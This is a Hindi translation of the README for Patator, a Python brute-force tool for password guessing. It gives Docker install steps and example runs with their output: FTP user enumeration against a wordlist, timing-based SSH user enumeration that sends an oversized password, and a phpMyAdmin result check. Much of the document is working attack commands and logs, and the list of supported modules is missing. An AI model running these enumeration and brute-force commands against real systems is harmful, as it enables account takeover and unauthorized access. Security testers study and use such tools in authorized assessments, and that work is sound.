
Patator एक बहुउद्देशीय brute-forcer है, जिसमें मॉड्यूलर डिज़ाइन और लचीला उपयोग शामिल है।
Patator, Hydra, Medusa, Ncrack, Metasploit मॉड्यूल और Nmap NSE स्क्रिप्ट्स का उपयोग करके पासवर्ड अनुमान लगाने के हमलों से हुई निराशा के कारण लिखा गया था। मैंने एक अलग दृष्टिकोण अपनाया, ताकि एक और ब्रूट-फोर्सिंग टूल न बनाया जाए और उन्हीं कमियों को दोहराने से बचा जा सके। Patator Python में लिखा गया एक मल्टी-थ्रेडेड टूल है, जो अपने पूर्ववर्तियों की तुलना में अधिक विश्वसनीय और लचीला बनने का प्रयास करता है।
वर्तमान में यह निम्नलिखित मॉड्यूल का समर्थन करता है:```
"Patator" नाम [इस](https://www.youtube.com/watch?v=9sF9fTALhVA) से आया है।
Patator स्क्रिप्ट-किडी के अनुकूल बिल्कुल नहीं है, कृपया रिपोर्ट करने से पहले नीचे दिए गए [DeepWiki](https://deepwiki.com/lanjelot/patator) और [wiki](https://github.com/lanjelot/patator/wiki) को पढ़ें।
यदि आपको यह प्रोजेक्ट पसंद आया हो तो कृपया दान करें! :)
<div align="center">
| PayPal | Bitcoin |
| -------- | ------- |
| [](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=SB36VJH4EM5WG&lc=AU&item_name=lanjelot&item_number=patator¤cy_code=AUD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted)| [](https://raw.githubusercontent.com/lanjelot/patator/master/donate/bitcoin-address.txt) |
</div>
बहुत धन्यवाद! [@lanjelot](https://twitter.com/lanjelot)
## स्थापना```
git clone https://github.com/lanjelot/patator.git
git clone https://github.com/danielmiessler/SecLists.git
docker build -t patator patator/
docker run -it --rm -v $PWD/SecLists/Passwords:/mnt patator dummy_test data=FILE0 0=/mnt/richelieu-french-top5000.txt
vsftpd/userlist में लॉगिन से वंचित उपयोगकर्ताओं की गणना करना```
$ ftp_login host=10.0.0.1 user=FILE0 0=logins.txt password=asdf -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500
19:36:06 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 19:36 AEDT
19:36:06 patator INFO -
19:36:06 patator INFO - code size time | candidate | num | mesg
19:36:06 patator INFO - -----------------------------------------------------------------------------
19:36:07 patator INFO - 230 17 0.002 | anonymous | 7 | Login successful.
19:36:07 patator INFO - 230 17 0.001 | ftp | 10 | Login successful.
19:36:08 patator INFO - 530 18 1.000 | root | 1 | Permission denied.
19:36:17 patator INFO - 530 18 1.000 | michael | 50 | Permission denied.
19:36:36 patator INFO - 530 18 1.000 | robert | 93 | Permission denied.
...`vsftpd-3.0.2-9` का परीक्षण `CentOS 7.0-1406` पर किया गया।
* SSH : समय-आधारित उपयोगकर्ता गणना```
$ ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-retries 0 --timeout 10 -x ignore:time=0-3
17:45:20 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 17:45 AEDT
17:45:20 patator INFO -
17:45:20 patator INFO - code size time | candidate | num | mesg
17:45:20 patator INFO - -----------------------------------------------------------------------------
17:45:30 patator FAIL - xxx 41 10.001 | root | 1 | <class '__main__.TimeoutError'> timed out
17:45:34 patator FAIL - xxx 41 10.000 | john | 23 | <class '__main__.TimeoutError'> timed out
17:45:37 patator FAIL - xxx 41 10.000 | joe | 40 | <class '__main__.TimeoutError'> timed out
...
openssh-server 1:6.0p1-4+deb7u2 का परीक्षण Debian 7.8 पर किया गया।
Payload #72 एक अप्रत्याशित त्रुटि संदेश के कारण गलत सकारात्मक (false positive) था:```
$ grep AllowNoPassword /tmp/qsdf/72_200\:13215\:0\:0.351.txt
... class="icon ic_s_error" /> Login without a password is forbidden by configuration (see AllowNoPassword)</div><noscript>
phpMyAdmin 4.2.7.1 के विरुद्ध परीक्षण किया गया।